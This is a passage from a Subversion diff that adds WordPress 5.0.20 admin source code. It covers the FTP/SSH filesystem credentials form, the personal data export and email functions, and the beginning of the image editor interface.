+	$public_key = isset( $credentials['public_key'] ) ? $credentials['public_key'] : '';
+	$private_key = isset( $credentials['private_key'] ) ? $credentials['private_key'] : '';
+	$port = isset( $credentials['port'] ) ? $credentials['port'] : '';
+	$connection_type = isset( $credentials['connection_type'] ) ? $credentials['connection_type'] : '';
+
+	if ( $error ) {
+		$error_string = __('<strong>ERROR:</strong> There was an error connecting to the server, Please verify the settings are correct.');
+		if ( is_wp_error($error) )
+			$error_string = esc_html( $error->get_error_message() );
+		echo '<div id="message" class="error"><p>' . $error_string . '</p></div>';
+	}
+
+	$types = array();
+	if ( extension_loaded('ftp') || extension_loaded('sockets') || function_exists('fsockopen') )
+		$types[ 'ftp' ] = __('FTP');
+	if ( extension_loaded('ftp') ) //Only this supports FTPS
+		$types[ 'ftps' ] = __('FTPS (SSL)');
+	if ( extension_loaded('ssh2') && function_exists('stream_get_contents') )
+		$types[ 'ssh' ] = __('SSH2');
+
+	/**
+	 * Filters the connection types to output to the filesystem credentials form.
+	 *
+	 * @since 2.9.0
+	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
+	 *
+	 * @param array  $types       Types of connections.
+	 * @param array  $credentials Credentials to connect with.
+	 * @param string $type        Chosen filesystem method.
+	 * @param object $error       Error object.
+	 * @param string $context     Full path to the directory that is tested
+	 *                            for being writable.
+	 */
+	$types = apply_filters( 'fs_ftp_connection_types', $types, $credentials, $type, $error, $context );
+
+?>
+<form action="<?php echo esc_url( $form_post ) ?>" method="post">
+<div id="request-filesystem-credentials-form" class="request-filesystem-credentials-form">
+<?php
+// Print a H1 heading in the FTP credentials modal dialog, default is a H2.
+$heading_tag = 'h2';
+if ( 'plugins.php' === $pagenow || 'plugin-install.php' === $pagenow ) {
+	$heading_tag = 'h1';
+}
+echo "<$heading_tag id='request-filesystem-credentials-title'>" . __( 'Connection Information' ) . "</$heading_tag>";
+?>
+<p id="request-filesystem-credentials-desc"><?php
+	$label_user = __('Username');
+	$label_pass = __('Password');
+	_e('To perform the requested action, WordPress needs to access your web server.');
+	echo ' ';
+	if ( ( isset( $types['ftp'] ) || isset( $types['ftps'] ) ) ) {
+		if ( isset( $types['ssh'] ) ) {
+			_e('Please enter your FTP or SSH credentials to proceed.');
+			$label_user = __('FTP/SSH Username');
+			$label_pass = __('FTP/SSH Password');
+		} else {
+			_e('Please enter your FTP credentials to proceed.');
+			$label_user = __('FTP Username');
+			$label_pass = __('FTP Password');
+		}
+		echo ' ';
+	}
+	_e('If you do not remember your credentials, you should contact your web host.');
+?></p>
+<label for="hostname">
+	<span class="field-title"><?php _e( 'Hostname' ) ?></span>
+	<input name="hostname" type="text" id="hostname" aria-describedby="request-filesystem-credentials-desc" class="code" placeholder="<?php esc_attr_e( 'example: www.wordpress.org' ) ?>" value="<?php echo esc_attr($hostname); if ( !empty($port) ) echo ":$port"; ?>"<?php disabled( defined('FTP_HOST') ); ?> />
+</label>
+<div class="ftp-username">
+	<label for="username">
+		<span class="field-title"><?php echo $label_user; ?></span>
+		<input name="username" type="text" id="username" value="<?php echo esc_attr($username) ?>"<?php disabled( defined('FTP_USER') ); ?> />
+	</label>
+</div>
+<div class="ftp-password">
+	<label for="password">
+		<span class="field-title"><?php echo $label_pass; ?></span>
+		<input name="password" type="password" id="password" value="<?php if ( defined('FTP_PASS') ) echo '*****'; ?>"<?php disabled( defined('FTP_PASS') ); ?> />
+		<em><?php if ( ! defined('FTP_PASS') ) _e( 'This password will not be stored on the server.' ); ?></em>
+	</label>
+</div>
+<fieldset>
+<legend><?php _e( 'Connection Type' ); ?></legend>
+<?php
+	$disabled = disabled( ( defined( 'FTP_SSL' ) && FTP_SSL ) || ( defined( 'FTP_SSH' ) && FTP_SSH ), true, false );
+	foreach ( $types as $name => $text ) : ?>
+	<label for="<?php echo esc_attr( $name ) ?>">
+		<input type="radio" name="connection_type" id="<?php echo esc_attr( $name ) ?>" value="<?php echo esc_attr( $name ) ?>"<?php checked( $name, $connection_type ); echo $disabled; ?> />
+		<?php echo $text; ?>
+	</label>
+<?php
+	endforeach;
+?>
+</fieldset>
+<?php
+if ( isset( $types['ssh'] ) ) {
+	$hidden_class = '';
+	if ( 'ssh' != $connection_type || empty( $connection_type ) ) {
+		$hidden_class = ' class="hidden"';
+	}
+?>
+<fieldset id="ssh-keys"<?php echo $hidden_class; ?>>
+<legend><?php _e( 'Authentication Keys' ); ?></legend>
+<label for="public_key">
+	<span class="field-title"><?php _e('Public Key:') ?></span>
+	<input name="public_key" type="text" id="public_key" aria-describedby="auth-keys-desc" value="<?php echo esc_attr($public_key) ?>"<?php disabled( defined('FTP_PUBKEY') ); ?> />
+</label>
+<label for="private_key">
+	<span class="field-title"><?php _e('Private Key:') ?></span>
+	<input name="private_key" type="text" id="private_key" value="<?php echo esc_attr($private_key) ?>"<?php disabled( defined('FTP_PRIKEY') ); ?> />
+</label>
+<p id="auth-keys-desc"><?php _e( 'Enter the location on the server where the public and private keys are located. If a passphrase is needed, enter that in the password field above.' ) ?></p>
+</fieldset>
+<?php
+}
+
+foreach ( (array) $extra_fields as $field ) {
+	if ( isset( $submitted_form[ $field ] ) )
+		echo '<input type="hidden" name="' . esc_attr( $field ) . '" value="' . esc_attr( $submitted_form[ $field ] ) . '" />';
+}
+?>
+	<p class="request-filesystem-credentials-action-buttons">
+		<?php wp_nonce_field( 'filesystem-credentials', '_fs_nonce', false, true ); ?>
+		<button class="button cancel-button" data-js-action="close" type="button"><?php _e( 'Cancel' ); ?></button>
+		<?php submit_button( __( 'Proceed' ), '', 'upgrade', false ); ?>
+	</p>
+</div>
+</form>
+<?php
+	return false;
+}
+
+/**
+ * Print the filesystem credentials modal when needed.
+ *
+ * @since 4.2.0
+ */
+function wp_print_request_filesystem_credentials_modal() {
+	$filesystem_method = get_filesystem_method();
+	ob_start();
+	$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
+	ob_end_clean();
+	$request_filesystem_credentials = ( $filesystem_method != 'direct' && ! $filesystem_credentials_are_stored );
+	if ( ! $request_filesystem_credentials ) {
+		return;
+	}
+	?>
+	<div id="request-filesystem-credentials-dialog" class="notification-dialog-wrap request-filesystem-credentials-dialog">
+		<div class="notification-dialog-background"></div>
+		<div class="notification-dialog" role="dialog" aria-labelledby="request-filesystem-credentials-title" tabindex="0">
+			<div class="request-filesystem-credentials-dialog-content">
+				<?php request_filesystem_credentials( site_url() ); ?>
+			</div>
+		</div>
+	</div>
+	<?php
+}
+
+/**
+ * Generate a single group for the personal data export report.
+ *
+ * @since 4.9.6
+ *
+ * @param array $group_data {
+ *     The group data to render.
+ *
+ *     @type string $group_label  The user-facing heading for the group, e.g. 'Comments'.
+ *     @type array  $items        {
+ *         An array of group items.
+ *
+ *         @type array  $group_item_data  {
+ *             An array of name-value pairs for the item.
+ *
+ *             @type string $name   The user-facing name of an item name-value pair, e.g. 'IP Address'.
+ *             @type string $value  The user-facing value of an item data pair, e.g. '50.60.70.0'.
+ *         }
+ *     }
+ * }
+ * @return string The HTML for this group and its items.
+ */
+function wp_privacy_generate_personal_data_export_group_html( $group_data ) {
+	$allowed_tags      = array(
+		'a' => array(
+			'href'   => array(),
+			'target' => array()
+		),
+		'br' => array()
+	);
+	$allowed_protocols = array( 'http', 'https' );
+	$group_html        = '';
+
+	$group_html .= '<h2>' . esc_html( $group_data['group_label'] ) . '</h2>';
+	$group_html .= '<div>';
+
+	foreach ( (array) $group_data['items'] as $group_item_id => $group_item_data ) {
+		$group_html .= '<table>';
+		$group_html .= '<tbody>';
+
+		foreach ( (array) $group_item_data as $group_item_datum ) {
+			$value = $group_item_datum['value'];
+			// If it looks like a link, make it a link
+			if ( false === strpos( $value, ' ' ) && ( 0 === strpos( $value, 'http://' ) || 0 === strpos( $value, 'https://' ) ) ) {
+				$value = '<a href="' . esc_url( $value ) . '">' . esc_html( $value ) . '</a>';
+			}
+
+			$group_html .= '<tr>';
+			$group_html .= '<th>' . esc_html( $group_item_datum['name'] ) . '</th>';
+			$group_html .= '<td>' . wp_kses( $value, $allowed_tags, $allowed_protocols ) . '</td>';
+			$group_html .= '</tr>';
+		}
+
+		$group_html .= '</tbody>';
+		$group_html .= '</table>';
+	}
+
+	$group_html .= '</div>';
+
+	return $group_html;
+}
+
+/**
+ * Generate the personal data export file.
+ *
+ * @since 4.9.6
+ *
+ * @param int $request_id The export request ID.
+ */
+function wp_privacy_generate_personal_data_export_file( $request_id ) {
+	if ( ! class_exists( 'ZipArchive' ) ) {
+		wp_send_json_error( __( 'Unable to generate export file. ZipArchive not available.' ) );
+	}
+
+	// Get the request data.
+	$request = wp_get_user_request_data( $request_id );
+
+	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
+		wp_send_json_error( __( 'Invalid request ID when generating export file.' ) );
+	}
+
+	$email_address = $request->email;
+
+	if ( ! is_email( $email_address ) ) {
+		wp_send_json_error( __( 'Invalid email address when generating export file.' ) );
+	}
+
+	// Create the exports folder if needed.
+	$exports_dir = wp_privacy_exports_dir();
+	$exports_url = wp_privacy_exports_url();
+
+	if ( ! wp_mkdir_p( $exports_dir ) ) {
+		wp_send_json_error( __( 'Unable to create export folder.' ) );
+	}
+
+	// Protect export folder from browsing.
+	$index_pathname = $exports_dir . 'index.html';
+	if ( ! file_exists( $index_pathname ) ) {
+		$file = fopen( $index_pathname, 'w' );
+		if ( false === $file ) {
+			wp_send_json_error( __( 'Unable to protect export folder from browsing.' ) );
+		}
+		fwrite( $file, '<!-- Silence is golden. -->' );
+		fclose( $file );
+	}
+
+	$stripped_email       = str_replace( '@', '-at-', $email_address );
+	$stripped_email       = sanitize_title( $stripped_email ); // slugify the email address
+	$obscura              = wp_generate_password( 32, false, false );
+	$file_basename        = 'wp-personal-data-file-' . $stripped_email . '-' . $obscura;
+	$html_report_filename = $file_basename . '.html';
+	$html_report_pathname = wp_normalize_path( $exports_dir . $html_report_filename );
+	$file = fopen( $html_report_pathname, 'w' );
+	if ( false === $file ) {
+		wp_send_json_error( __( 'Unable to open export file (HTML report) for writing.' ) );
+	}
+
+	$title = sprintf(
+		/* translators: %s: user's e-mail address */
+		__( 'Personal Data Export for %s' ),
+		$email_address
+	);
+
+	// Open HTML.
+	fwrite( $file, "<!DOCTYPE html>\n" );
+	fwrite( $file, "<html>\n" );
+
+	// Head.
+	fwrite( $file, "<head>\n" );
+	fwrite( $file, "<meta http-equiv='Content-Type' content='text/html; charset=UTF-8' />\n" );
+	fwrite( $file, "<style type='text/css'>" );
+	fwrite( $file, "body { color: black; font-family: Arial, sans-serif; font-size: 11pt; margin: 15px auto; width: 860px; }" );
+	fwrite( $file, "table { background: #f0f0f0; border: 1px solid #ddd; margin-bottom: 20px; width: 100%; }" );
+	fwrite( $file, "th { padding: 5px; text-align: left; width: 20%; }" );
+	fwrite( $file, "td { padding: 5px; }" );
+	fwrite( $file, "tr:nth-child(odd) { background-color: #fafafa; }" );
+	fwrite( $file, "</style>" );
+	fwrite( $file, "<title>" );
+	fwrite( $file, esc_html( $title ) );
+	fwrite( $file, "</title>" );
+	fwrite( $file, "</head>\n" );
+
+	// Body.
+	fwrite( $file, "<body>\n" );
+
+	// Heading.
+	fwrite( $file, "<h1>" . esc_html__( 'Personal Data Export' ) . "</h1>" );
+
+	// And now, all the Groups.
+	$groups = get_post_meta( $request_id, '_export_data_grouped', true );
+
+	// First, build an "About" group on the fly for this report.
+	$about_group = array(
+		/* translators: Header for the About section in a personal data export. */
+		'group_label' => _x( 'About', 'personal data group label' ),
+		'items'       => array(
+			'about-1' => array(
+				array(
+					'name'  => _x( 'Report generated for', 'email address' ),
+					'value' => $email_address,
+				),
+				array(
+					'name'  => _x( 'For site', 'website name' ),
+					'value' => get_bloginfo( 'name' ),
+				),
+				array(
+					'name'  => _x( 'At URL', 'website URL' ),
+					'value' => get_bloginfo( 'url' ),
+				),
+				array(
+					'name'  => _x( 'On', 'date/time' ),
+					'value' => current_time( 'mysql' ),
+				),
+			),
+		),
+	);
+
+	// Merge in the special about group.
+	$groups = array_merge( array( 'about' => $about_group ), $groups );
+
+	// Now, iterate over every group in $groups and have the formatter render it in HTML.
+	foreach ( (array) $groups as $group_id => $group_data ) {
+		fwrite( $file, wp_privacy_generate_personal_data_export_group_html( $group_data ) );
+	}
+
+	fwrite( $file, "</body>\n" );
+
+	// Close HTML.
+	fwrite( $file, "</html>\n" );
+	fclose( $file );
+
+	/*
+	 * Now, generate the ZIP.
+	 *
+	 * If an archive has already been generated, then remove it and reuse the
+	 * filename, to avoid breaking any URLs that may have been previously sent
+	 * via email.
+	 */
+	$error            = false;
+	$archive_url      = get_post_meta( $request_id, '_export_file_url', true );
+	$archive_pathname = get_post_meta( $request_id, '_export_file_path', true );
+
+	if ( empty( $archive_pathname ) || empty( $archive_url ) ) {
+		$archive_filename = $file_basename . '.zip';
+		$archive_pathname = $exports_dir . $archive_filename;
+		$archive_url      = $exports_url . $archive_filename;
+
+		update_post_meta( $request_id, '_export_file_url', $archive_url );
+		update_post_meta( $request_id, '_export_file_path', wp_normalize_path( $archive_pathname ) );
+	}
+
+	if ( ! empty( $archive_pathname ) && file_exists( $archive_pathname ) ) {
+		wp_delete_file( $archive_pathname );
+	}
+
+	$zip = new ZipArchive;
+	if ( true === $zip->open( $archive_pathname, ZipArchive::CREATE ) ) {
+		if ( ! $zip->addFile( $html_report_pathname, 'index.html' ) ) {
+			$error = __( 'Unable to add data to export file.' );
+		}
+
+		$zip->close();
+
+		if ( ! $error ) {
+			/**
+			 * Fires right after all personal data has been written to the export file.
+			 *
+			 * @since 4.9.6
+			 *
+			 * @param string $archive_pathname     The full path to the export file on the filesystem.
+			 * @param string $archive_url          The URL of the archive file.
+			 * @param string $html_report_pathname The full path to the personal data report on the filesystem.
+			 * @param int    $request_id           The export request ID.
+			 */
+			do_action( 'wp_privacy_personal_data_export_file_created', $archive_pathname, $archive_url, $html_report_pathname, $request_id );
+		}
+	} else {
+		$error = __( 'Unable to open export file (archive) for writing.' );
+	}
+
+	// And remove the HTML file.
+	unlink( $html_report_pathname );
+
+	if ( $error ) {
+		wp_send_json_error( $error );
+	}
+}
+
+/**
+ * Send an email to the user with a link to the personal data export file
+ *
+ * @since 4.9.6
+ *
+ * @param int $request_id The request ID for this personal data export.
+ * @return true|WP_Error True on success or `WP_Error` on failure.
+ */
+function wp_privacy_send_personal_data_export_email( $request_id ) {
+	// Get the request data.
+	$request = wp_get_user_request_data( $request_id );
+
+	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
+		return new WP_Error( 'invalid', __( 'Invalid request ID when sending personal data export email.' ) );
+	}
+
+	/** This filter is documented in wp-includes/functions.php */
+	$expiration      = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
+	$expiration_date = date_i18n( get_option( 'date_format' ), time() + $expiration );
+
+/* translators: Do not translate EXPIRATION, LINK, SITENAME, SITEURL: those are placeholders. */
+$email_text = __(
+'Howdy,
+
+Your request for an export of personal data has been completed. You may
+download your personal data by clicking on the link below. For privacy
+and security, we will automatically delete the file on ###EXPIRATION###,
+so please download it before then.
+
+###LINK###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###'
+);
+
+	/**
+	 * Filters the text of the email sent with a personal data export file.
+	 *
+	 * The following strings have a special meaning and will get replaced dynamically:
+	 * ###EXPIRATION###         The date when the URL will be automatically deleted.
+	 * ###LINK###               URL of the personal data export file for the user.
+	 * ###SITENAME###           The name of the site.
+	 * ###SITEURL###            The URL to the site.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param string $email_text     Text in the email.
+	 * @param int    $request_id     The request ID for this personal data export.
+	 */
+	$content = apply_filters( 'wp_privacy_personal_data_email_content', $email_text, $request_id );
+
+	$email_address = $request->email;
+	$export_file_url = get_post_meta( $request_id, '_export_file_url', true );
+	$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
+	$site_url = home_url();
+
+	$content = str_replace( '###EXPIRATION###', $expiration_date, $content );
+	$content = str_replace( '###LINK###', esc_url_raw( $export_file_url ), $content );
+	$content = str_replace( '###EMAIL###', $email_address, $content );
+	$content = str_replace( '###SITENAME###', $site_name, $content );
+	$content = str_replace( '###SITEURL###', esc_url_raw( $site_url ), $content );
+
+	$mail_success = wp_mail(
+		$email_address,
+		sprintf(
+			__( '[%s] Personal Data Export' ),
+			$site_name
+		),
+		$content
+	);
+
+	if ( ! $mail_success ) {
+		return new WP_Error( 'error', __( 'Unable to send personal data export email.' ) );
+	}
+
+	return true;
+}
+
+/**
+ * Intercept personal data exporter page ajax responses in order to assemble the personal data export file.
+ * @see wp_privacy_personal_data_export_page
+ * @since 4.9.6
+ *
+ * @param array  $response        The response from the personal data exporter for the given page.
+ * @param int    $exporter_index  The index of the personal data exporter. Begins at 1.
+ * @param string $email_address   The email address of the user whose personal data this is.
+ * @param int    $page            The page of personal data for this exporter. Begins at 1.
+ * @param int    $request_id      The request ID for this personal data export.
+ * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
+ * @param string $exporter_key    The slug (key) of the exporter.
+ * @return array The filtered response.
+ */
+function wp_privacy_process_personal_data_export_page( $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key ) {
+	/* Do some simple checks on the shape of the response from the exporter.
+	 * If the exporter response is malformed, don't attempt to consume it - let it
+	 * pass through to generate a warning to the user by default ajax processing.
+	 */
+	if ( ! is_array( $response ) ) {
+		return $response;
+	}
+
+	if ( ! array_key_exists( 'done', $response ) ) {
+		return $response;
+	}
+
+	if ( ! array_key_exists( 'data', $response ) ) {
+		return $response;
+	}
+
+	if ( ! is_array( $response['data'] ) ) {
+		return $response;
+	}
+
+	// Get the request data.
+	$request = wp_get_user_request_data( $request_id );
+
+	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
+		wp_send_json_error( __( 'Invalid request ID when merging exporter data.' ) );
+	}
+
+	$export_data = array();
+
+	// First exporter, first page? Reset the report data accumulation array.
+	if ( 1 === $exporter_index && 1 === $page ) {
+		update_post_meta( $request_id, '_export_data_raw', $export_data );
+	} else {
+		$export_data = get_post_meta( $request_id, '_export_data_raw', true );
+	}
+
+	// Now, merge the data from the exporter response into the data we have accumulated already.
+	$export_data = array_merge( $export_data, $response['data'] );
+	update_post_meta( $request_id, '_export_data_raw', $export_data );
+
+	// If we are not yet on the last page of the last exporter, return now.
+	/** This filter is documented in wp-admin/includes/ajax-actions.php */
+	$exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() );
+	$is_last_exporter = $exporter_index === count( $exporters );
+	$exporter_done = $response['done'];
+	if ( ! $is_last_exporter || ! $exporter_done ) {
+		return $response;
+	}
+
+	// Last exporter, last page - let's prepare the export file.
+
+	// First we need to re-organize the raw data hierarchically in groups and items.
+	$groups = array();
+	foreach ( (array) $export_data as $export_datum ) {
+		$group_id    = $export_datum['group_id'];
+		$group_label = $export_datum['group_label'];
+		if ( ! array_key_exists( $group_id, $groups ) ) {
+			$groups[ $group_id ] = array(
+				'group_label' => $group_label,
+				'items'       => array(),
+			);
+		}
+
+		$item_id = $export_datum['item_id'];
+		if ( ! array_key_exists( $item_id, $groups[ $group_id ]['items'] ) ) {
+			$groups[ $group_id ]['items'][ $item_id ] = array();
+		}
+
+		$old_item_data = $groups[ $group_id ]['items'][ $item_id ];
+		$merged_item_data = array_merge( $export_datum['data'], $old_item_data );
+		$groups[ $group_id ]['items'][ $item_id ] = $merged_item_data;
+	}
+
+	// Then save the grouped data into the request.
+	delete_post_meta( $request_id, '_export_data_raw' );
+	update_post_meta( $request_id, '_export_data_grouped', $groups );
+
+	/**
+	 * Generate the export file from the collected, grouped personal data.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param int $request_id The export request ID.
+	 */
+	do_action( 'wp_privacy_personal_data_export_file', $request_id );
+
+	// Clear the grouped data now that it is no longer needed.
+	delete_post_meta( $request_id, '_export_data_grouped' );
+
+	// If the destination is email, send it now.
+	if ( $send_as_email ) {
+		$mail_success = wp_privacy_send_personal_data_export_email( $request_id );
+		if ( is_wp_error( $mail_success ) ) {
+			wp_send_json_error( $mail_success->get_error_message() );
+		}
+	} else {
+		// Modify the response to include the URL of the export file so the browser can fetch it.
+		$export_file_url = get_post_meta( $request_id, '_export_file_url', true );
+		if ( ! empty( $export_file_url ) ) {
+			$response['url'] = $export_file_url;
+		}
+	}
+
+	// Update the request to completed state.
+	_wp_privacy_completed_request( $request_id );
+
+	return $response;
+}
Index: /tags/5.0.20/src/wp-admin/includes/image-edit.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/image-edit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/image-edit.php	(revision 56912)
@@ -0,0 +1,913 @@
+<?php
+/**
+ * WordPress Image Editor
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Loads the WP image-editing interface.
+ *
+ * @param int         $post_id Post ID.
+ * @param bool|object $msg     Optional. Message to display for image editor updates or errors.
+ *                             Default false.
+ */
+function wp_image_editor($post_id, $msg = false) {
+	$nonce = wp_create_nonce("image_editor-$post_id");
+	$meta = wp_get_attachment_metadata($post_id);
+	$thumb = image_get_intermediate_size($post_id, 'thumbnail');
+	$sub_sizes = isset($meta['sizes']) && is_array($meta['sizes']);
+	$note = '';
+
+	if ( isset( $meta['width'], $meta['height'] ) )
+		$big = max( $meta['width'], $meta['height'] );
+	else
+		die( __('Image data does not exist. Please re-upload the image.') );
+
+	$sizer = $big > 400 ? 400 / $big : 1;
+
+	$backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true );
+	$can_restore = false;
+	if ( ! empty( $backup_sizes ) && isset( $backup_sizes['full-orig'], $meta['file'] ) )
+		$can_restore = $backup_sizes['full-orig']['file'] != basename( $meta['file'] );
+
+	if ( $msg ) {
+		if ( isset($msg->error) )
+			$note = "<div class='error'><p>$msg->error</p></div>";
+		elseif ( isset($msg->msg) )
+			$note = "<div class='updated'><p>$msg->msg</p></div>";
+	}
+
+	?>
+	<div class="imgedit-wrap wp-clearfix">
+	<div id="imgedit-panel-<?php echo $post_id; ?>">
+
+	<div class="imgedit-settings">
+	<div class="imgedit-group">
+	<div class="imgedit-group-top">
+		<h2><?php _e( 'Scale Image' ); ?></h2>
+		<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;" aria-expanded="false"><span class="screen-reader-text"><?php esc_html_e( 'Scale Image Help' ); ?></span></button>
+		<div class="imgedit-help">
+		<p><?php _e('You can proportionally scale the original image. For best results, scaling should be done before you crop, flip, or rotate. Images can only be scaled down, not up.'); ?></p>
+		</div>
+		<?php if ( isset( $meta['width'], $meta['height'] ) ): ?>
+		<p><?php printf( __('Original dimensions %s'), $meta['width'] . ' &times; ' . $meta['height'] ); ?></p>
+		<?php endif ?>
+		<div class="imgedit-submit">
+
+		<fieldset class="imgedit-scale">
+		<legend><?php _e( 'New dimensions:' ); ?></legend>
+		<div class="nowrap">
+		<label><span class="screen-reader-text"><?php _e( 'scale width' ); ?></span>
+		<input type="text" id="imgedit-scale-width-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1, this)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 1, this)" value="<?php echo isset( $meta['width'] ) ? $meta['width'] : 0; ?>" />
+		</label>
+		<span class="imgedit-separator">&times;</span>
+		<label><span class="screen-reader-text"><?php _e( 'scale height' ); ?></span>
+		<input type="text" id="imgedit-scale-height-<?php echo $post_id; ?>" onkeyup="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0, this)" onblur="imageEdit.scaleChanged(<?php echo $post_id; ?>, 0, this)" value="<?php echo isset( $meta['height'] ) ? $meta['height'] : 0; ?>" />
+		</label>
+		<span class="imgedit-scale-warn" id="imgedit-scale-warn-<?php echo $post_id; ?>">!</span>
+		<input id="imgedit-scale-button" type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'scale')" class="button button-primary" value="<?php esc_attr_e( 'Scale' ); ?>" />
+ 		</div>
+		</fieldset>
+
+		</div>
+	</div>
+	</div>
+
+<?php if ( $can_restore ) { ?>
+
+	<div class="imgedit-group">
+	<div class="imgedit-group-top">
+		<h2><button type="button" onclick="imageEdit.toggleHelp(this);" class="button-link"><?php _e( 'Restore Original Image' ); ?> <span class="dashicons dashicons-arrow-down imgedit-help-toggle"></span></button></h2>
+		<div class="imgedit-help">
+		<p><?php _e('Discard any changes and restore the original image.');
+
+		if ( !defined('IMAGE_EDIT_OVERWRITE') || !IMAGE_EDIT_OVERWRITE )
+			echo ' '.__('Previously edited copies of the image will not be deleted.');
+
+		?></p>
+		<div class="imgedit-submit">
+		<input type="button" onclick="imageEdit.action(<?php echo "$post_id, '$nonce'"; ?>, 'restore')" class="button button-primary" value="<?php esc_attr_e( 'Restore image' ); ?>" <?php echo $can_restore; ?> />
+		</div>
+		</div>
+	</div>
+	</div>
+
+<?php } ?>
+
+	<div class="imgedit-group">
+	<div class="imgedit-group-top">
+		<h2><?php _e( 'Image Crop' ); ?></h2>
+		<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;" aria-expanded="false"><span class="screen-reader-text"><?php esc_html_e( 'Image Crop Help' ); ?></span></button>
+
+		<div class="imgedit-help">
+		<p><?php _e('To crop the image, click on it and drag to make your selection.'); ?></p>
+
+		<p><strong><?php _e('Crop Aspect Ratio'); ?></strong><br />
+		<?php _e('The aspect ratio is the relationship between the width and height. You can preserve the aspect ratio by holding down the shift key while resizing your selection. Use the input box to specify the aspect ratio, e.g. 1:1 (square), 4:3, 16:9, etc.'); ?></p>
+
+		<p><strong><?php _e('Crop Selection'); ?></strong><br />
+		<?php _e('Once you have made your selection, you can adjust it by entering the size in pixels. The minimum selection size is the thumbnail size as set in the Media settings.'); ?></p>
+		</div>
+	</div>
+
+	<fieldset class="imgedit-crop-ratio">
+		<legend><?php _e( 'Aspect ratio:' ); ?></legend>
+		<div class="nowrap">
+		<label><span class="screen-reader-text"><?php _e( 'crop ratio width' ); ?></span>
+		<input type="text" id="imgedit-crop-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" onblur="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 0, this)" />
+		</label>
+		<span class="imgedit-separator">:</span>
+		<label><span class="screen-reader-text"><?php _e( 'crop ratio height' ); ?></span>
+		<input type="text" id="imgedit-crop-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" onblur="imageEdit.setRatioSelection(<?php echo $post_id; ?>, 1, this)" />
+		</label>
+		</div>
+	</fieldset>
+
+	<fieldset id="imgedit-crop-sel-<?php echo $post_id; ?>" class="imgedit-crop-sel">
+		<legend><?php _e( 'Selection:' ); ?></legend>
+		<div class="nowrap">
+		<label><span class="screen-reader-text"><?php _e( 'selection width' ); ?></span>
+		<input type="text" id="imgedit-sel-width-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" />
+		</label>
+		<span class="imgedit-separator">&times;</span>
+		<label><span class="screen-reader-text"><?php _e( 'selection height' ); ?></span>
+		<input type="text" id="imgedit-sel-height-<?php echo $post_id; ?>" onkeyup="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" onblur="imageEdit.setNumSelection(<?php echo $post_id; ?>, this)" />
+		</label>
+		</div>
+	</fieldset>
+
+	</div>
+
+	<?php if ( $thumb && $sub_sizes ) {
+		$thumb_img = wp_constrain_dimensions( $thumb['width'], $thumb['height'], 160, 120 );
+	?>
+
+	<div class="imgedit-group imgedit-applyto">
+	<div class="imgedit-group-top">
+		<h2><?php _e( 'Thumbnail Settings' ); ?></h2>
+		<button type="button" class="dashicons dashicons-editor-help imgedit-help-toggle" onclick="imageEdit.toggleHelp(this);return false;" aria-expanded="false"><span class="screen-reader-text"><?php esc_html_e( 'Thumbnail Settings Help' ); ?></span></button>
+		<p class="imgedit-help"><?php _e('You can edit the image while preserving the thumbnail. For example, you may wish to have a square thumbnail that displays just a section of the image.'); ?></p>
+	</div>
+
+	<figure class="imgedit-thumbnail-preview">
+		<img src="<?php echo $thumb['url']; ?>" width="<?php echo $thumb_img[0]; ?>" height="<?php echo $thumb_img[1]; ?>" class="imgedit-size-preview" alt="" draggable="false" />
+		<figcaption class="imgedit-thumbnail-preview-caption"><?php _e( 'Current thumbnail' ); ?></figcaption>
+	</figure>
+
+	<div id="imgedit-save-target-<?php echo $post_id; ?>" class="imgedit-save-target">
+	<fieldset>
+		<legend><strong><?php _e( 'Apply changes to:' ); ?></strong></legend>
+
+		<label class="imgedit-label">
+		<input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="all" checked="checked" />
+		<?php _e('All image sizes'); ?></label>
+
+		<label class="imgedit-label">
+		<input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="thumbnail" />
+		<?php _e('Thumbnail'); ?></label>
+
+		<label class="imgedit-label">
+		<input type="radio" name="imgedit-target-<?php echo $post_id; ?>" value="nothumb" />
+		<?php _e('All sizes except thumbnail'); ?></label>
+	</fieldset>
+	</div>
+	</div>
+
+	<?php } ?>
+
+	</div>
+
+	<div class="imgedit-panel-content wp-clearfix">
+		<?php echo $note; ?>
+		<div class="imgedit-menu wp-clearfix">
+			<button type="button" onclick="imageEdit.crop(<?php echo "$post_id, '$nonce'"; ?>, this)" class="imgedit-crop button disabled" disabled><span class="screen-reader-text"><?php esc_html_e( 'Crop' ); ?></span></button><?php
+
+		// On some setups GD library does not provide imagerotate() - Ticket #11536
